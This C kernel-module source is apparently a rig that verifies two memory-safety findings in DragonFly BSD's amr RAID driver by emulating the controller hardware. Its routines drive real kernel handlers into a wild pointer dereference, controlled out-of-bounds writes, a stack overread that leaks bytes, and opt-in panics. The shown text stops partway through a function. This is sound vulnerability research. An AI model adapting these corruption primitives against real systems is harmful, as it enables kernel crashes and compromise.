/* * dfamr_rig.c -- production-handler dispatch rig for the DragonFly amr(4) * (LSI MegaRAID) driver core, used to verify findings DF-4059 and DF-4060 * against sys/dev/raid/amr/amr.c. * * The amr driver is compiled into the guest's X86_64_GENERIC kernel * (nm /boot/kernel/kernel shows amr_done, amr_alloccmd, amr_releasecmd, * amr_startio as globals and amr_start, amr_std_get_work, * amr_std_poll_command, amr_std_submit_command, amr_complete, and * amr_quartz_get_work as locals), but this QEMU guest has no MegaRAID HBA, * so amr_pci_attach() never runs. This rig stands in ONLY for the missing * PCI hardware, exactly like the proven DF-4240 (dpt) rig: * * - resolves the REAL static production handlers from the running * kernel image (no KASLR: file vaddr == runtime vaddr); the ctl * program byte-verifies their prologues against objdump before use; * globals (amr_done, amr_alloccmd, amr_releasecmd) link directly; * - fabricates a post-amr_pci_attach softc with REAL bus_dma tags, * REAL bus_dmamem for the mailbox64 / sg table / ccb array (the exact * allocations of amr_setup_mbox / amr_sglist_map / amr_ccb_map, * amr_pci.c:617-703) and REAL lockinit of amr_list_lock/amr_hw_lock * (amr_pci.c:324-325); * - builds the command clusters with a verbatim copy of * amr_alloccmd_cluster (amr.c:1922-1979; gcc 8.3 -O2 inlined that * symbol into amr_attach so it cannot be dispatched by address) and * registers real busy slots through the PRODUCTION amr_start; * - plays the role of the card: a "register file" page is mapped via * X86_64_BUS_SPACE_MEM so AMR_SGET_ISTAT/AMR_SPOST_COMMAND etc. are * plain volatile memory accesses, completions are written into the * real DMA mailbox exactly as firmware would, and the card-side * semantic "deassert the interrupt line once the driver took the * mailbox" -- which a plain memory file cannot express by itself -- * is modeled by the rig_get_work() wrapper around the PRODUCTION * amr_std_get_work. * * Everything on the vulnerable paths -- amr_done (with the inlined * amr_freeslot), amr_start, amr_std_poll_command, amr_std_get_work, * amr_std_submit_command, amr_complete, amr_alloccmd, amr_releasecmd, * amr_startio -- is production code executing from the shipped kernel * image. * * Findings exercised: * DF-4059 completion id 0 -> idx = -1 -> amr_busycmd[-1] (the softc * field before the array, always &amr_ready.stqh_first after * production amr_attach) is treated as an amr_command* and * driven through amr_freeslot -> wild kernel pointer deref; * and on std firmware mb_nstatus (8-bit, controller-chosen) * iterates mb_completed[46] out to 255 entries -- a stack * overread past the 82-byte local mailbox whose bytes are * disclosed through the "bad slot %d completed" print. * DF-4060 amr_std_poll_command timeout leaves the slot permanently * busy (busycmd/busyslots/BUSY) while every caller * unconditionally amr_releasecmd()s the command -> next * amr_start panics ("amr: slot %d busy?"), a late completion * completes the recycled command, and amr_rescan_drives * (amr.c:460-463) spins forever on the poisoned counter. * * Root-only device /dev/dfamr0. Panic finales are opt-in flags. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* offsetof comes via sys/param.h + sys/systm.h */ #include /* struct bsd_device (name/unit print path) */ #include /* X86_64_BUS_SPACE_MEM */ #include #include #include /* amr.c's MALLOC_DEFINE(M_AMR,...) object, resolved from the kernel */ MALLOC_DECLARE(M_AMR); /* ------------------------------------------------------------------ */ /* Production handler addresses, primed from userland (no KASLR). */ /* ------------------------------------------------------------------ */ static unsigned long a_amr_start, a_amr_std_poll_command, a_amr_std_get_work, a_amr_std_submit_command; SYSCTL_ULONG(_kern, OID_AUTO, dfamr_a_amrstart, CTLFLAG_RW, &a_amr_start, 0, "runtime addr of production amr_start"); SYSCTL_ULONG(_kern, OID_AUTO, dfamr_a_amrstdpoll, CTLFLAG_RW, &a_amr_std_poll_command, 0, "runtime addr of production amr_std_poll_command"); SYSCTL_ULONG(_kern, OID_AUTO, dfamr_a_amrstdgetwork, CTLFLAG_RW, &a_amr_std_get_work, 0, "runtime addr of production amr_std_get_work"); SYSCTL_ULONG(_kern, OID_AUTO, dfamr_a_amrstdsubmit, CTLFLAG_RW, &a_amr_std_submit_command, 0, "runtime addr of production amr_std_submit_command"); /* first 8 bytes at each production address (ctl verifies vs objdump) */ static uint64_t m_amr_start, m_amr_std_poll_command, m_amr_std_get_work, m_amr_std_submit_command; SYSCTL_ULONG(_kern, OID_AUTO, dfamr_m_amrstart, CTLFLAG_RD, &m_amr_start, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, dfamr_m_amrstdpoll, CTLFLAG_RD, &m_amr_std_poll_command, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, dfamr_m_amrstdgetwork, CTLFLAG_RD, &m_amr_std_get_work, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, dfamr_m_amrstdsubmit, CTLFLAG_RD, &m_amr_std_submit_command, 0, ""); typedef int (*amr_start_fn)(struct amr_command *); typedef int (*amr_std_poll_fn)(struct amr_command *); /* globals linked straight from the kernel image (amrvar.h:272-282): * amr_done, amr_alloccmd, amr_releasecmd, amr_startio */ /* ------------------------------------------------------------------ */ /* Virtual HBA: register file + card-model get_work wrapper */ /* ------------------------------------------------------------------ */ #define RIG_PAD 65536 /* guard runway after each softc */ static volatile uint8_t *regpage; /* virtual HBA register file */ static volatile u_int vhba_ack_seen; /* completions handed to production */ /* * Card model wrapper around the PRODUCTION amr_std_get_work: real * hardware deasserts the interrupt line when the driver acknowledges * and takes the completion mailbox (AMR_SPUT_ISTAT / AMR_SACK_INTERRUPT * inside production amr_std_get_work); a plain memory "register file" * cannot react to those writes by itself, so the wrapper performs the * deassertion and instantly consumes any doorbell byte. Everything * else -- the istat poll, the mailbox bcopy, the acknowledgement * writes -- is production amr_std_get_work called through sc->amr_get_work * from production amr_done. */ static int rig_get_work(struct amr_softc *sc, struct amr_mailbox *mbsave) { int (*prod)(struct amr_softc *, struct amr_mailbox *) = (int (*)(struct amr_softc *, struct amr_mailbox *)) (uintptr_t)a_amr_std_get_work; int r = prod(sc, mbsave); regpage[AMR_SCMD] = 0; /* doorbell consumed instantly */ if (r) { regpage[AMR_SINTR] = 0; /* card drops the interrupt line */ vhba_ack_seen++; } return (r); } /* the card consumes a posted command synchronously: drop the busy flag * (read side of the SCMD register) so a following submit does not see * the spurious EBUSY that would requeue the command onto amr_ready */ static void rig_consume_post(void) { regpage[AMR_SCMD] = 0; } /* ------------------------------------------------------------------ */ /* Fabricated device (device_printf name/unit path only) */ /* ------------------------------------------------------------------ */ static driver_t rig_fake_driver = { "amrrig" }; static struct bsd_device rig_fake_dev; /* ------------------------------------------------------------------ */ /* Softc fabrication */ /* ------------------------------------------------------------------ */ static void rig_busaddr_helper(void *arg, bus_dma_segment_t *segs, int nseg, int error) { uint32_t *addr = arg; if (error == 0) *addr = segs[0].ds_addr; } /* * Verbatim copy of amr_alloccmd_cluster, amr.c:1922-1979 (the symbol was * inlined into amr_attach by gcc 8.3 -O2 and cannot be dispatched by * address). Output is the production data structure. */ static void rig_alloccmd_cluster(struct amr_softc *sc) { struct amr_command_cluster *acc; struct amr_command *ac; int i, nextslot; if (sc->amr_maxio == 0) sc->amr_maxio = 2; if (sc->amr_nextslot > sc->amr_maxio) return; acc = kmalloc(AMR_CMD_CLUSTERSIZE, M_AMR, M_NOWAIT | M_ZERO); if (acc != NULL) { nextslot = sc->amr_nextslot; lockmgr(&sc->amr_list_lock, LK_EXCLUSIVE); TAILQ_INSERT_TAIL(&sc->amr_cmd_clusters, acc, acc_link); lockmgr(&sc->amr_list_lock, LK_RELEASE); for (i = 0; i < AMR_CMD_CLUSTERCOUNT; i++) { ac = &acc->acc_command[i]; ac->ac_sc = sc; ac->ac_slot = nextslot; if (AMR_IS_SG64(sc)) { ac->ac_sgbusaddr = sc->amr_sgbusaddr + (ac->ac_slot * AMR_NSEG * sizeof(struct amr_sg64entry)); ac->ac_sg.sg64 = sc->amr_sg64table + (ac->ac_slot * AMR_NSEG); } else { ac->ac_sgbusaddr = sc->amr_sgbusaddr + (ac->ac_slot * AMR_NSEG * sizeof(struct amr_sgentry)); ac->ac_sg.sg32 = sc->amr_sgtable + (ac->ac_slot * AMR_NSEG); } ac->ac_ccb = sc->amr_ccb + ac->ac_slot; ac->ac_ccb_busaddr = sc->amr_ccb_busaddr + (ac->ac_slot * sizeof(union amr_ccb)); if (bus_dmamap_create(sc->amr_buffer_dmat, 0, &ac->ac_dmamap)) break; if (AMR_IS_SG64(sc) && (bus_dmamap_create(sc->amr_buffer64_dmat, 0,&ac->ac_dma64map))) break; amr_releasecmd(ac); if (++nextslot > sc->amr_maxio) break; } sc->amr_nextslot = nextslot; } } /* * Fabricate the post-amr_pci_attach state of a std-firmware controller * (real DMA plumbing, production queue init, production handler trio) * exactly as amr_pci_attach:243-346 + amr_attach:196-216 would leave it. */ static struct amr_softc * rig_new_softc(int with_cluster) { struct amr_softc *sc; uint8_t *buf; void *p; uint32_t baddr; size_t segsize; int ccbsize, error; buf = kmalloc(sizeof(struct amr_softc) + RIG_PAD, M_DEVBUF, M_INTWAIT | M_ZERO); sc = (struct amr_softc *)buf; sc->amr_dev = &rig_fake_dev; lockinit(&sc->amr_list_lock, "amrrig list", 0, LK_CANRECURSE); lockinit(&sc->amr_hw_lock, "amrrig hw", 0, LK_CANRECURSE); /* parent tag -- amr_pci.c:278-290 */ error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, MAXBSIZE, AMR_NSEG, BUS_SPACE_MAXSIZE_32BIT, 0, &sc->amr_parent_dmat); if (error) goto fail; /* buffer tags -- amr_pci.c:295-317 */ if (bus_dma_tag_create(sc->amr_parent_dmat, 1, 0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, MAXBSIZE, AMR_NSEG, MAXBSIZE, 0, &sc->amr_buffer_dmat)) goto fail; if (bus_dma_tag_create(sc->amr_parent_dmat, 1, 0, BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR, MAXBSIZE, AMR_NSEG, MAXBSIZE, 0, &sc->amr_buffer64_dmat)) goto fail; /* mailbox -- verbatim shape of amr_setup_mbox, amr_pci.c:617-666 */ if (bus_dma_tag_create(sc->amr_parent_dmat, 16, 0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, sizeof(struct amr_mailbox64), 1, BUS_SPACE_MAXSIZE_32BIT, 0, &sc->amr_mailbox_dmat)) goto fail; error = bus_dmamem_alloc(sc->amr_mailbox_dmat, &p, BUS_DMA_NOWAIT, &sc->amr_mailbox_dmamap); if (error) goto fail; baddr = 0; bus_dmamap_load(sc->amr_mailbox_dmat, sc->amr_mailbox_dmamap, p, sizeof(struct amr_mailbox64), rig_busaddr_helper, &baddr, 0); sc->amr_mailboxphys = baddr + offsetof(struct amr_mailbox64, mb); bzero(p, sizeof(struct amr_mailbox64)); sc->amr_mailbox64 = (struct amr_mailbox64 *)p; sc->amr_mailbox = &sc->amr_mailbox64->mb; /* s/g table -- verbatim shape of amr_sglist_map, amr_pci.c:543-610 */ segsize = sizeof(struct amr_sgentry) * AMR_NSEG * AMR_MAXCMD; if (bus_dma_tag_create(sc->amr_parent_dmat, 512, 0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, segsize, 1, BUS_SPACE_MAXSIZE_32BIT, 0, &sc->amr_sg_dmat)) goto fail; error = bus_dmamem_alloc(sc->amr_sg_dmat, &p, BUS_DMA_NOWAIT, &sc->amr_sg_dmamap); if (error) goto fail; sc->amr_sgbusaddr = 0; bus_dmamap_load(sc->amr_sg_dmat, sc->amr_sg_dmamap, p, segsize, rig_busaddr_helper, &sc->amr_sgbusaddr, 0); sc->amr_sgtable = (struct amr_sgentry *)p; /* ccb array -- verbatim shape of amr_ccb_map, amr_pci.c:668-703 */ ccbsize = sizeof(union amr_ccb) * AMR_MAXCMD; if (bus_dma_tag_create(sc->amr_parent_dmat, 128, 0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, ccbsize, 1, ccbsize, 0, &sc->amr_ccb_dmat)) goto fail; error = bus_dmamem_alloc(sc->amr_ccb_dmat, (void **)&sc->amr_ccb, BUS_DMA_NOWAIT, &sc->amr_ccb_dmamap); if (error) goto fail; sc->amr_ccb_busaddr = 0; bus_dmamap_load(sc->amr_ccb_dmat, sc->amr_ccb_dmamap, sc->amr_ccb, ccbsize, rig_busaddr_helper, &sc->amr_ccb_busaddr, 0); bzero(sc->amr_ccb, ccbsize); /* virtual register file: std I/O regs via memory bus space */ sc->amr_btag = (bus_space_tag_t)(uintptr_t)X86_64_BUS_SPACE_MEM; sc->amr_bhandle = (bus_space_handle_t)(uintptr_t)regpage; regpage[AMR_SMBOX_BUSY] = 0; /* card idle */ regpage[AMR_SINTR] = 0; /* no interrupt pending */ /* queue init -- production amr_attach, amr.c:196-199 */ amr_init_qhead(&sc->amr_freecmds); amr_init_qhead(&sc->amr_ready); TAILQ_INIT(&sc->amr_cmd_clusters); bioq_init(&sc->amr_bioq); /* std-firmware handler trio -- production amr_attach, amr.c:212-214 */ sc->amr_submit_command = (int (*)(struct amr_command *))(uintptr_t)a_amr_std_submit_command; sc->amr_get_work = rig_get_work; /* production amr_std_get_work * + card-side line drop */ sc->amr_poll_command = (int (*)(struct amr_command *))(uintptr_t)a_amr_std_poll_command; if (with_cluster) { sc->amr_maxio = 0; rig_alloccmd_cluster(sc); /* verbatim amr.c:1922-1979 */ sc->amr_maxio = AMR_LIMITCMD; /* amr.c:1005 cap */ } return (sc); fail: kprintf("[amrrig] softc setup failed (%d)\n", error); return (NULL); } /* card writes a completion list into the DMA mailbox and raises SINTR */ static void rig_raise_completion(struct amr_softc *sc, uint8_t nstatus, const uint8_t *ids, uint8_t status) { volatile struct amr_mailbox *mb = sc->amr_mailbox; int i; mb->mb_nstatus = nstatus; mb->mb_status = status; for (i = 0; i < nstatus && i < 46; i++) mb->mb_completed[i] = ids[i]; regpage[AMR_SINTR] = AMR_SINTR_VALID; } /* ------------------------------------------------------------------ */ /* ioctl plumbing */ /* ------------------------------------------------------------------ */ struct rig_offs_args { uint64_t off_busycmd, off_busyslots, off_ready; uint64_t off_ac_sc, off_ac_slot, off_ac_status, off_ac_flags, off_ac_complete; uint64_t sizeof_softc, sizeof_command, sizeof_mailbox; uint64_t busykm1_value; /* *(softc+off_busycmd-8) after INIT */ uint64_t ready_stqh_last; /* &sc->amr_ready.stqh_first */ uint32_t mchecked; }; struct rig_4059b_args { uint32_t primed; uint32_t retry_hint; /* 1 = heap target collided, re-invoke */ uint32_t slot_byte; /* heap low byte production reads */ uint64_t ac0, ac1; uint64_t write_off; /* offset of the NULL store in cluster */ uint64_t write_before, write_after; uint64_t decr_off; /* offset of the busyslots decrement */ uint32_t decr_before, decr_after; uint32_t busycmd1_byte4_after; /* ac_status store landed here */ uint32_t ndiff; struct { uint64_t off, before, after; } diff[8]; uint32_t busyslots_real_after; }; struct rig_4059leak_args { uint32_t depth; uint32_t zero_bytes; /* stack bytes == 0 (idx -1 passes) */ uint32_t one_bytes; /* stack bytes == 1 (idx 0 passes) */ uint32_t ack_seen; uint32_t primed; }; struct rig_4059a_args { uint32_t primed; uint32_t not_reached; }; struct rig_4060tmo_args { uint32_t do_start_finale; int32_t poll_err; uint32_t poll_ticks; uint32_t busy_flag_still_set; uint32_t busycmd_holds_ac; uint32_t busyslots_after; uint32_t freelist_head_is_ac; uint32_t busyslots_after_100_done; uint32_t recycled_same_cmd; uint32_t primed; uint32_t not_reached; int32_t start_err; }; struct rig_4060late_args { int32_t poll_err; uint32_t busy_before, busy_after; uint32_t status_before, status_after; uint32_t still_on_freelist; uint32_t busyslots_after; uint32_t primed; }; #define RIGIOC_OFFS _IOWR('M', 1, struct rig_offs_args) #define RIGIOC_4059B _IOWR('M', 2, struct rig_4059b_args) #define RIGIOC_4059LEAK _IOWR('M', 3, struct rig_4059leak_args) #define RIGIOC_4059A _IOWR('M', 4, struct rig_4059a_args) #define RIGIOC_4060TMO _IOWR('M', 5, struct rig_4060tmo_args) #define RIGIOC_4060LATE _IOWR('M', 6, struct rig_4060late_args) static d_open_t rig_open; static d_close_t rig_close; static d_ioctl_t rig_ioctl; static struct dev_ops rig_ops = { { "dfamr", 0, D_MPSAFE, NULL, 0, 0 }, .d_open = rig_open, .d_close = rig_close, .d_ioctl = rig_ioctl, }; static cdev_t rig_cdev; static struct lock rig_lock; static uint8_t *cluster_snap; static int rig_open(struct dev_open_args *ap) { return (0); } static int rig_close(struct dev_close_args *ap) { return (0); } static int rig_primed(void) { return (a_amr_start != 0 && a_amr_std_poll_command != 0 && a_amr_std_get_work != 0 && a_amr_std_submit_command != 0); } /* mirror the prologue bytes at the primed addresses (ctl verifies them * against objdump of /boot/kernel/kernel; no KASLR) */ static void rig_mirror(void) { static int mirrored; if (!mirrored && rig_primed()) { m_amr_start = *(uint64_t *)(uintptr_t)a_amr_start; m_amr_std_poll_command = *(uint64_t *)(uintptr_t)a_amr_std_poll_command; m_amr_std_get_work = *(uint64_t *)(uintptr_t)a_amr_std_get_work; m_amr_std_submit_command = *(uint64_t *)(uintptr_t)a_amr_std_submit_command; mirrored = 1; } } /* vary the caller stack for the leak liveness proof */ static volatile uint32_t rig_sink; static struct amr_softc *nest_sc; static int __attribute__((noinline)) rig_nest0(void) { char pad[64]; int i; memset(pad, 0x5a, sizeof(pad)); for (i = 0; i < (int)sizeof(pad); i += 16) rig_sink += pad[i]; return (amr_done(nest_sc)); } static int __attribute__((noinline)) rig_nest(int level) { char pad[96]; int i; memset(pad, 0xa5, sizeof(pad)); for (i = 0; i < (int)sizeof(pad); i += 16) rig_sink += pad[i]; if (level <= 0) return (rig_nest0()); return (rig_nest(level - 1)); } /* * DF-4059 case B: completion id 0 on a controller with a real busy * slot 0, built with the production amr_start over a production command * cluster. Production alias math (all offsets measured at runtime): * * idx = -1 -> ac = amr_busycmd[-1] = amr_ready.stqh_last's value * = &sc->amr_ready.stqh_first (always non-NULL after * production amr_attach's amr_init_qhead) * ac->ac_sc (offset 8) reads amr_ready.stqh_last again -> sc2 is a * pointer into the softc interior at &amr_ready * ac->ac_slot (offset 16) reads the low byte of amr_busycmd[0] -- the * heap address of the REAL slot-0 command (groomable) * amr_freeslot then treats sc2 as a softc: * sc2->amr_busycmd[slot] read + NULL store (in-softc or, for * slot >= 63, past the array into arbitrary softc fields) * sc2->amr_busyslots atomic decrement at &amr_ready+3592 -- 1208 * bytes PAST the end of the 3920-byte softc (guard runway) * ac->ac_status store lands on byte 4 of amr_busycmd[0], corrupting * the slot-0 command pointer inside the softc. * * The rig only pre-poisons the qword production will test/clear so the * production "slot not busy?" panic guard does not fire before the * writes are demonstrated. */ static void rig_run_4059b(struct rig_4059b_args *a) { struct amr_softc *sc; struct amr_command *ac0, *ac1; uint8_t *sc2; /* the forged ac / fake softc base */ uint64_t *target; uint32_t *decr; uint64_t off_busy, off_bslots, off_asc, off_aslot, off_astat; uint8_t *cluster; int i, nd; uint8_t ids[8] = { 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0 }; amr_start_fn startfn = (amr_start_fn)(uintptr_t)a_amr_start; sc = rig_new_softc(1); if (sc == NULL) return; /* production slot registration: slot 0 and 1 busy */ ac0 = amr_alloccmd(sc); ac0->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT; ac0->ac_mailbox.mb_command = AMR_CMD_FLUSH; startfn(ac0); /* busycmd[2] = ac0, busyslots = 1 */ rig_consume_post(); ac1 = amr_alloccmd(sc); ac1->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT; ac1->ac_mailbox.mb_command = AMR_CMD_FLUSH; startfn(ac1); /* busycmd[1] = ac1, busyslots = 2 */ rig_consume_post(); off_busy = offsetof(struct amr_softc, amr_busycmd); off_bslots = offsetof(struct amr_softc, amr_busyslots); off_asc = offsetof(struct amr_command, ac_sc); off_aslot = offsetof(struct amr_command, ac_slot); off_astat = offsetof(struct amr_command, ac_status); /* the forged amr_command* production reads from amr_busycmd[-1] */ sc2 = *(uint8_t **)((uint8_t *)sc + off_busy - 8); a->ac0 = (uintptr_t)ac0; a->ac1 = (uintptr_t)ac1; a->slot_byte = *(uint8_t *)(sc2 + off_aslot); /* low byte of ac0 */ a->write_off = (uintptr_t)(sc2 + off_busy + 8 * a->slot_byte) - (uintptr_t)sc; a->decr_off = (uintptr_t)(sc2 + off_bslots) - (uintptr_t)sc; /* * The heap-address-derived target must not collide with a field the * post-amr_done path walks (amr_freecmds via amr_startio); the * softc is disposable, so retry with a fresh cluster instead. */ { uint64_t off_free = offsetof(struct amr_softc, amr_freecmds); if (a->write_off >= off_free && a->write_off < off_free + 8) { kprintf("[amrrig] DF-4059B: slot byte %u targets " "amr_freecmds (softc+%llu); retrying\n", a->slot_byte, (unsigned long long)a->write_off); a->retry_hint = 1; return; /* ctl re-invokes */ } } cluster = (uint8_t *)TAILQ_FIRST(&sc->amr_cmd_clusters); target = (uint64_t *)(sc2 + off_busy + 8 * a->slot_byte); decr = (uint32_t *)(sc2 + off_bslots); if (*target == 0) *target = 0x0000133700001337ULL; /* survive the NULL check */ *decr = 0x00004000; a->write_before = *target; a->decr_before = *decr; memcpy(cluster_snap, cluster, AMR_CMD_CLUSTERSIZE); kprintf("[amrrig] DF-4059B: cluster=%p ac0=cluster+%lld; forged " "ac=busycmd[-1]=%p; ac->ac_sc=%p (softc+%lld); slot=ac_slot=" "low(ac0)=%u; NULL store @softc+%llu; decr @softc+%llu " "(softc size %llu)\n", (void *)cluster, (long long)((uint8_t *)ac0 - cluster), (void *)sc2, (void *)*(uint8_t **)(sc2 + off_asc), (long long)(*(uint8_t **)(sc2 + off_asc) - (uint8_t *)sc), a->slot_byte, (unsigned long long)a->write_off, (unsigned long long)a->decr_off, (unsigned long long)sizeof(struct amr_softc)); /* the card completes seven bogus ids (slow prints widen the vhba * ack window) and then id 0 -- never allocated: ident = slot + 1 */ rig_raise_completion(sc, 8, ids, 0x5a); amr_done(sc); /* PRODUCTION */ a->write_after = *target; a->decr_after = *decr; /* the ac_status store lands at sc2+off_ac_status = byte 4 of * amr_busycmd[0] -- corrupting the slot-0 command pointer */ a->busycmd1_byte4_after = (uint32_t)((*(uint64_t *)((uint8_t *)sc + off_busy)) >> 32) & 0xff; a->busyslots_real_after = (uint32_t)sc->amr_busyslots; /* diff the whole 16 KB production cluster */ nd = 0; for (i = 0; i < AMR_CMD_CLUSTERSIZE && nd < 8; i += 8) { uint64_t b, f; memcpy(&b, cluster_snap + i, 8); memcpy(&f, cluster + i, 8); if (b != f) { a->diff[nd].off = i; a->diff[nd].before = b; a->diff[nd].after = f; nd++; } } a->ndiff = nd; } /* * DF-4059 stack overread: std firmware mailbox with mb_nstatus = 255. * The loop reads mb_completed[46..254] -- 209 bytes past the 82-byte * local mailbox in amr_done's frame -- and each byte indexes * amr_busycmd, with NULL hits disclosed through the * "bad slot %d completed" device_printf (idx = byte - 1). * * Rig note: amr_ready is deliberately left in its zeroed state (not * STAILQ_INITed) for this scenario so that a disclosed byte of 0 takes * the "bad slot -1" print instead of the amr_busycmd[-1] wild-pointer * path; that wild path is demonstrated production-faithfully in the * 4059A (idle controller, Fatal trap 12) and 4059B (busy slots, * controlled cluster writes) scenarios. The overread loop itself is * untouched production code. */ static void rig_run_4059leak(struct rig_4059leak_args *a) { struct amr_softc *sc; uint8_t ids[46]; int i; sc = rig_new_softc(0); if (sc == NULL) return; /* keep every busycmd slot idle: every disclosed byte prints */ sc->amr_ready.stqh_first = NULL; sc->amr_ready.stqh_last = NULL; memset(sc->amr_busycmd, 0, sizeof(sc->amr_busycmd)); for (i = 0; i < 46; i++) ids[i] = 0x80 + i; /* -> "bad slot 127..172" */ kprintf("[amrrig] LEAK-RUN-DEPTH-%u BEGIN\n", a->depth); rig_raise_completion(sc, 255, ids, 0x5a); nest_sc = sc; rig_nest(a->depth); /* PRODUCTION amr_done via varying stack */ kprintf("[amrrig] LEAK-RUN-DEPTH-%u END\n", a->depth); a->zero_bytes = 0; a->one_bytes = 0; a->ack_seen = vhba_ack_seen; } /* * DF-4059 case A (panic finale): idle controller (all busycmd NULL), * production amr_ready init, completion id 0. The forged * ac = &amr_ready.stqh_first has ac->ac_sc = busycmd[0] = NULL, so * amr_freeslot dereferences NULL + off_busycmd -> fatal trap 12. */ static void rig_run_4059a(struct rig_4059a_args *a) { struct amr_softc *sc; uint8_t id0 = 0; sc = rig_new_softc(0); if (sc == NULL) return; kprintf("[amrrig] DF-4059A: idle controller, completion id 0 -> " "amr_freeslot derefs busycmd[0]=NULL as softc\n"); rig_raise_completion(sc, 1, &id0, 0x5a); amr_done(sc); /* PRODUCTION -> Fatal trap 12 */ a->not_reached = 1; } /* * DF-4060: production amr_std_poll_command over a stalled card (no * completion ever arrives). After the timeout the caller (amr_enquiry * amr.c:1058-1061, amr_flush amr.c:1097-1100, amr_support_ext_cdb * amr.c:1140-1143, amr_dump_blocks amr.c:2380-2382 all release * unconditionally) pushes the still-busy command back on the free list. */ static void rig_run_4060tmo(struct rig_4060tmo_args *a) { struct amr_softc *sc; struct amr_command *ac, *ac2; int error, i; amr_std_poll_fn pollfn = (amr_std_poll_fn)(uintptr_t)a_amr_std_poll_command; amr_start_fn startfn = (amr_start_fn)(uintptr_t)a_amr_start; sc = rig_new_softc(1); if (sc == NULL) return; ac = amr_alloccmd(sc); ac->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT; /* amr_flush:1086 */ ac->ac_mailbox.mb_command = AMR_CMD_FLUSH; /* amr_flush:1089 */ regpage[AMR_SINTR] = 0; /* the card is stalled: no interrupts */ a->poll_ticks = ticks; error = pollfn(ac); /* PRODUCTION amr_std_poll_command */ a->poll_ticks = ticks - a->poll_ticks; a->poll_err = error; kprintf("[amrrig] DF-4060: poll ret=%d in %u ticks\n", error, a->poll_ticks); a->busy_flag_still_set = !!(ac->ac_flags & AMR_CMD_BUSY); a->busycmd_holds_ac = (sc->amr_busycmd[ac->ac_slot] == ac); a->busyslots_after = (uint32_t)sc->amr_busyslots; /* every caller releases unconditionally, even on error */ amr_releasecmd(ac); /* PRODUCTION */ a->freelist_head_is_ac = (STAILQ_FIRST(&sc->amr_freecmds) == ac); /* amr_rescan_drives livelock precondition, amr.c:460-463 */ for (i = 0; i < 100; i++) amr_done(sc); /* PRODUCTION */ a->busyslots_after_100_done = (uint32_t)sc->amr_busyslots; /* the next allocation hands the still-busy command back out */ ac2 = amr_alloccmd(sc); /* PRODUCTION */ a->recycled_same_cmd = (ac2 == ac); if (a->do_start_finale) { kprintf("[amrrig] DF-4060 FINALE: production amr_start on " "the recycled command (slot %u still busy)\n", ac2->ac_slot); ac2->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT; ac2->ac_mailbox.mb_command = AMR_CMD_FLUSH; rig_consume_post(); /* card takes it (never answers) */ a->start_err = startfn(ac2); /* PRODUCTION -> panic */ a->not_reached = 1; kprintf("[amrrig] DF-4060 FINALE returned?! err=%d\n", a->start_err); } } /* DF-4060 late-completion variant: the card finally completes the * stale command after the caller already recycled it onto the free * list. To capture the completion stores before amr_startio() * reallocates the very same command off the free list head (which * resets ac_status at amr.c:1895), the rig arms ac_complete on the * free-listed command first -- standing in for amr_completeio, i.e. * exactly the "command recycled for a new bio" case in the finding: * production amr_complete runs the callback on a command that still * sits on amr_freecmds (two owners). */ static uint32_t late_probe_fired; static uint32_t late_probe_status; static uint32_t late_probe_busyflag; static uint32_t late_probe_on_freelist; static uint64_t late_probe_cmd; static void rig_late_probe(struct amr_command *ac) { late_probe_fired++; late_probe_status = (uint32_t)ac->ac_status; late_probe_busyflag = !!(ac->ac_flags & AMR_CMD_BUSY); late_probe_on_freelist = (STAILQ_FIRST(&ac->ac_sc->amr_freecmds) == ac); late_probe_cmd = (uintptr_t)ac; } static void rig_run_4060late(struct rig_4060late_args *a) { struct amr_softc *sc; struct amr_command *ac; uint8_t id; uint32_t ack0; volatile struct amr_mailbox *mb; amr_std_poll_fn pollfn = (amr_std_poll_fn)(uintptr_t)a_amr_std_poll_command; sc = rig_new_softc(1); if (sc == NULL) return; ac = amr_alloccmd(sc); ac->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT; ac->ac_mailbox.mb_command = AMR_CMD_FLUSH; a->poll_err = pollfn(ac); /* PRODUCTION: times out */ a->busy_before = !!(ac->ac_flags & AMR_CMD_BUSY); a->status_before = (uint32_t)ac->ac_status; amr_releasecmd(ac); /* caller recycles it */ ac->ac_complete = rig_late_probe; /* stand-in for amr_completeio */ /* ... and only then the card completes the stale id */ id = ac->ac_slot + 1; mb = sc->amr_mailbox; ack0 = vhba_ack_seen; rig_raise_completion(sc, 1, &id, 0x77); amr_done(sc); /* PRODUCTION */ a->busy_after = !!(ac->ac_flags & AMR_CMD_BUSY); a->status_after = late_probe_status; /* 0x77 = store landed */ a->still_on_freelist = late_probe_on_freelist; a->busyslots_after = (uint32_t)sc->amr_busyslots; kprintf("[amrrig] DF-4060LATE: probe fired=%u on cmd %p: " "completion status 0x%x stored, BUSY at callback %u, " "ON FREE LIST at callback %u; acks=%u\n", late_probe_fired, (void *)(uintptr_t)late_probe_cmd, late_probe_status, late_probe_busyflag, late_probe_on_freelist, vhba_ack_seen - ack0); } static int rig_ioctl(struct dev_ioctl_args *ap) { u_long cmd = ap->a_cmd; caddr_t data = ap->a_data; int error = 0; /* /dev/dfamr0 is 0600 root:wheel */ lockmgr(&rig_lock, LK_EXCLUSIVE); rig_mirror(); switch (cmd) { case RIGIOC_OFFS: { struct rig_offs_args *a = (struct rig_offs_args *)data; struct amr_softc *sc; a->off_busycmd = offsetof(struct amr_softc, amr_busycmd); a->off_busyslots = offsetof(struct amr_softc, amr_busyslots); a->off_ready = offsetof(struct amr_softc, amr_ready); a->off_ac_sc = offsetof(struct amr_command, ac_sc); a->off_ac_slot = offsetof(struct amr_command, ac_slot); a->off_ac_status = offsetof(struct amr_command, ac_status); a->off_ac_flags = 